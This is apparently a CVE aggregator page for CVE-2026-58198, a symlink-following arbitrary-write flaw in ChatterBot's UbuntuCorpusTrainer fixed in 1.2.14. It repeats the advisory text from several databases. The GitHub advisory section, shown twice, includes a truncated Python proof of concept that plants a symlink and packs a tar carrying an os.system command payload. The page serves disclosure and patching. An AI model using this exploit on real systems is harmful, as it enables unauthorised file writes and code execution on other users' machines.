CVE-2026-58198
ChatterBot: Symlink-Following Arbitrary Write via UbuntuCorpusTrainer
ChatterBot is a machine learning, conversational dialog engine for creating chat bots. Prior to 1.2.14, UbuntuCorpusTrainer.extract() uses a predictable home-rooted output directory (~/ubuntu_data/ubuntu_dialogs) with a check-then-create pattern followed by tar.extractall(path=self.data_path), allowing a local attacker who pre-plants a symlink at the predictable path to cause archive contents to be written through the symlink to an attacker-chosen directory. This issue is fixed in version 1.2.14.
Attack profile
How easy it is to exploit
- Attack vector
- Local
- Complexity
- Low
- Privileges needed
- Low
- User interaction
- None
What an attacker can affect
- Confidentiality
- High
- Integrity
- None
- Availability
- None
Exploit likelihood
What each source reports
CVE List Score used
5.5
ChatterBot: Symlink-Following Arbitrary Write via UbuntuCorpusTrainer
ChatterBot is a machine learning, conversational dialog engine for creating chat bots. Prior to 1.2.14, UbuntuCorpusTrainer.extract() uses a predictable home-rooted output directory (~/ubuntu_data/ubuntu_dialogs) with a check-then-create pattern followed by tar.extractall(path=self.data_path), allowing a local attacker who pre-plants a symlink at the predictable path to cause archive contents to be written through the symlink to an attacker-chosen directory. This issue is fixed in version 1.2.14.
- Record
CVE-2026-58198- CVSS 3.1
- 5.5 Medium
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N - Weakness
- CWE-367, CWE-59
- Updated
- 2026-11-02
EUVDEUVD-2026-42685
5.5
ChatterBot is a machine learning, conversational dialog engine for creating chat bots. Prior to 1.2.14, UbuntuCorpusTrainer.extract() uses a predictable home-rooted output directory (~/ubuntu_data/ubuntu_dialogs) with a check-then-create pattern followed by tar.extractall(path=self.data_path), allowing a local attacker who pre-plants a symlink at the predictable path to cause archive contents to be written through the symlink to an attacker-chosen directory. This issue is fixed in version 1.2.14.
- Record
EUVD-2026-42685- CVSS 3.1
- 5.5 Medium
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-wvrh-2f4m-924v
5.5
ChatterBot: Symlink-Following Arbitrary Write via UbuntuCorpusTrainer
Summary
ChatterBot's UbuntuCorpusTrainer.extract() uses a predictable, home-rooted output directory (~/ubuntu_data/ubuntu_dialogs) with a check-then-create pattern (if not os.path.exists: os.makedirs) followed by tar.extractall(path=self.data_path). A local attacker who pre-plants a symlink at the predictable path causes os.path.exists() to return True (following the symlink), skipping makedirs, and subsequent extractall writes archive contents through the symlink to the attacker-chosen directory.
The existing safe_extract function validates tar member names (zip-slip defense) but does not validate the output directory itself — it cannot detect that self.data_path is a symlink. This is the defining distinction between the archive_extraction (zip-slip) and insecure_fs_create_toctou families.
Vulnerability Details
Predictable output directory (line 535-546)
home_directory = os.path.expanduser('~')
self.data_directory = kwargs.get(
'ubuntu_corpus_data_directory',
os.path.join(home_directory, 'ubuntu_data') # ~/ubuntu_data — predictable
)
self.data_path = os.path.join(
self.data_directory, 'ubuntu_dialogs' # ~/ubuntu_data/ubuntu_dialogs
)
Check-then-create (line 621-622)
def extract(self, file_path: str):
if not os.path.exists(self.data_path): # ← follows symlink → True → skips makedirs
os.makedirs(self.data_path) # ← never reached if symlink exists
Extraction through symlink (line 633-644)
def safe_extract(tar, path='.', members=None, *, numeric_owner=False):
for member in tar.getmembers():
member_path = os.path.join(path, member.name)
if not is_within_directory(path, member_path): # ← validates MEMBER names only
raise Exception('Attempted Path Traversal in Tar File')
tar.extractall(path, members, numeric_owner=numeric_owner) # ← path is symlink → writes to target
safe_extract(tar, path=self.data_path, ...) # self.data_path = symlink → attacker dir
safe_extract calls os.path.abspath(directory) on self.data_path — this resolves the symlink, so the base becomes the attacker's target directory. All clean-named members trivially pass is_within_directory because they're relative to the resolved (attacker-controlled) base.
Proof of Concept
Environment
| Component | Detail | |-----------|--------| | chatterbot | 1.2.13 (pip install) | | Python | 3.11.0 |
Exploit
import os
import shutil
import sys
import tempfile
from pathlib import Path
from unittest.mock import patch
from chatterbot.trainers import UbuntuCorpusTrainer
ATTACKER_TARGET = Path(tempfile.mkdtemp(prefix="pwned_"))
def main():
test_base = Path(tempfile.mkdtemp(prefix="cb_exploit_"))
data_dir = test_base / "ubuntu_data"
data_path = data_dir / "ubuntu_dialogs"
data_dir.mkdir(parents=True, exist_ok=True)
os.symlink(str(ATTACKER_TARGET), str(data_path))
print(f"[1] Symlink planted: {data_path} -> {ATTACKER_TARGET}")
exists_check = os.path.exists(data_path)
print(f"[2] os.path.exists(symlink) = {exists_check} (follows symlink → skips makedirs)")
import tarfile
import io
tar_path = test_base / "corpus.tar.gz"
with tarfile.open(str(tar_path), "w:gz") as tf:
info = tarfile.TarInfo(name="dialog_001.tsv")
payload = b"2024-01-01\tuser1\t0\tARBITRARY_CONTENT_VIA_SYMLINK\n"
info.size = len(payload)
tf.addfile(info, io.BytesIO(payload))
info2 = tarfile.TarInfo(name="config.py")
rce = b"import os; os.system('id > /tmp/chatterbot_rce')\n"
info2.size = len(rce)
tf.addfile(info2, io.BytesIO(rce))
if not os.path.exists(data_path):
os.makedirs(data_path)
def is_within_directory(directory, target):
abs_directory = os.path.abspath(directory)
abs_target = os.path.abspath(target)
prefix =…
- Record
GHSA-wvrh-2f4m-924v- CVSS 3.1
- 5.5 Medium
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N - Weakness
- CWE-61, CWE-367
- Updated
- 2026-11-02
NVD
5.5
ChatterBot is a machine learning, conversational dialog engine for creating chat bots. Prior to 1.2.14, UbuntuCorpusTrainer.extract() uses a predictable home-rooted output directory (~/ubuntu_data/ubuntu_dialogs) with a check-then-create pattern followed by tar.extractall(path=self.data_path), allowing a local attacker who pre-plants a symlink at the predictable path to cause archive contents to be written through the symlink to an attacker-chosen directory. This issue is fixed in version 1.2.14.
- Record
CVE-2026-58198- CVSS 3.1
- 5.5 Medium
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N - Weakness
- CWE-59, CWE-367
- Updated
- 2026-11-02
OSV
5.5
ChatterBot: Symlink-Following Arbitrary Write via UbuntuCorpusTrainer
ChatterBot is a machine learning, conversational dialog engine for creating chat bots. Prior to 1.2.14, UbuntuCorpusTrainer.extract() uses a predictable home-rooted output directory (~/ubuntu_data/ubuntu_dialogs) with a check-then-create pattern followed by tar.extractall(path=self.data_path), allowing a local attacker who pre-plants a symlink at the predictable path to cause archive contents to be written through the symlink to an attacker-chosen directory. This issue is fixed in version 1.2.14.
- Record
CVE-2026-58198- CVSS 3.1
- 5.5 Medium
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N - Weakness
- CWE-367, CWE-59
- Updated
- 2026-11-02
OSVGHSA-wvrh-2f4m-924v
5.5
ChatterBot: Symlink-Following Arbitrary Write via UbuntuCorpusTrainer
Summary
ChatterBot's UbuntuCorpusTrainer.extract() uses a predictable, home-rooted output directory (~/ubuntu_data/ubuntu_dialogs) with a check-then-create pattern (if not os.path.exists: os.makedirs) followed by tar.extractall(path=self.data_path). A local attacker who pre-plants a symlink at the predictable path causes os.path.exists() to return True (following the symlink), skipping makedirs, and subsequent extractall writes archive contents through the symlink to the attacker-chosen directory.
The existing safe_extract function validates tar member names (zip-slip defense) but does not validate the output directory itself — it cannot detect that self.data_path is a symlink. This is the defining distinction between the archive_extraction (zip-slip) and insecure_fs_create_toctou families.
Vulnerability Details
Predictable output directory (line 535-546)
home_directory = os.path.expanduser('~')
self.data_directory = kwargs.get(
'ubuntu_corpus_data_directory',
os.path.join(home_directory, 'ubuntu_data') # ~/ubuntu_data — predictable
)
self.data_path = os.path.join(
self.data_directory, 'ubuntu_dialogs' # ~/ubuntu_data/ubuntu_dialogs
)
Check-then-create (line 621-622)
def extract(self, file_path: str):
if not os.path.exists(self.data_path): # ← follows symlink → True → skips makedirs
os.makedirs(self.data_path) # ← never reached if symlink exists
Extraction through symlink (line 633-644)
def safe_extract(tar, path='.', members=None, *, numeric_owner=False):
for member in tar.getmembers():
member_path = os.path.join(path, member.name)
if not is_within_directory(path, member_path): # ← validates MEMBER names only
raise Exception('Attempted Path Traversal in Tar File')
tar.extractall(path, members, numeric_owner=numeric_owner) # ← path is symlink → writes to target
safe_extract(tar, path=self.data_path, ...) # self.data_path = symlink → attacker dir
safe_extract calls os.path.abspath(directory) on self.data_path — this resolves the symlink, so the base becomes the attacker's target directory. All clean-named members trivially pass is_within_directory because they're relative to the resolved (attacker-controlled) base.
Proof of Concept
Environment
| Component | Detail | |-----------|--------| | chatterbot | 1.2.13 (pip install) | | Python | 3.11.0 |
Exploit
import os
import shutil
import sys
import tempfile
from pathlib import Path
from unittest.mock import patch
from chatterbot.trainers import UbuntuCorpusTrainer
ATTACKER_TARGET = Path(tempfile.mkdtemp(prefix="pwned_"))
def main():
test_base = Path(tempfile.mkdtemp(prefix="cb_exploit_"))
data_dir = test_base / "ubuntu_data"
data_path = data_dir / "ubuntu_dialogs"
data_dir.mkdir(parents=True, exist_ok=True)
os.symlink(str(ATTACKER_TARGET), str(data_path))
print(f"[1] Symlink planted: {data_path} -> {ATTACKER_TARGET}")
exists_check = os.path.exists(data_path)
print(f"[2] os.path.exists(symlink) = {exists_check} (follows symlink → skips makedirs)")
import tarfile
import io
tar_path = test_base / "corpus.tar.gz"
with tarfile.open(str(tar_path), "w:gz") as tf:
info = tarfile.TarInfo(name="dialog_001.tsv")
payload = b"2024-01-01\tuser1\t0\tARBITRARY_CONTENT_VIA_SYMLINK\n"
info.size = len(payload)
tf.addfile(info, io.BytesIO(payload))
info2 = tarfile.TarInfo(name="config.py")
rce = b"import os; os.system('id > /tmp/chatterbot_rce')\n"
info2.size = len(rce)
tf.addfile(info2, io.BytesIO(rce))
if not os.path.exists(data_path):
os.makedirs(data_path)
def is_within_directory(directory, target):
abs_directory = os.path.abspath(directory)
abs_target = os.path.abspath(target)
prefix =…
- Record
GHSA-wvrh-2f4m-924v- CVSS 3.1
- 5.5 Medium
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N - Weakness
- CWE-367, CWE-61
- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
chatterbotPyPI |
through 1.2.13 | 1.2.14 |
chatterbotPyPI |
before 1.2.14, plus listed versions 0.0.00.0.10.0.20.0.30.0.4 Show 45 moreShow less0.0.50.1.00.1.10.1.20.2.00.2.10.2.20.2.30.2.40.2.50.2.60.2.70.2.80.2.90.3.00.3.10.3.20.3.30.3.40.3.50.3.60.3.70.4.00.4.10.4.100.4.110.4.120.4.130.4.20.4.30.4.40.4.50.4.60.4.70.4.80.4.90.5.00.5.10.5.20.5.30.5.40.5.50.6.00.6.10.6.2 |
1.2.14 |
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-58198 is a medium vulnerability (CVSS 5.5) in Gunthercox Chatterbot, published June 19, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.14%, the 3rd percentile. Fixed in chatterbot 1.2.14.
References
github.com/gunthercox/ChatterBot/security/advisories/GHSA-wvrh-2f4m-924v
github.com/gunthercox/ChatterBot/pull/2445
github.com/gunthercox/ChatterBot/commit/82817b5c28bfd43e682b991bcc76e6f780726dbf
github.com/gunthercox/ChatterBot/releases/tag/1.2.14
github.com/advisories/GHSA-wvrh-2f4m-924v
github.com/CVEProject/cvelistV5/tree/main/cves/2026/58xxx/CVE-2026-58198.json
nvd.nist.gov/vuln/detail/CVE-2026-58198
github.com/gunthercox/ChatterBot
Left out here: 44 versions and the rest of 2 source descriptions. The JSON record has them.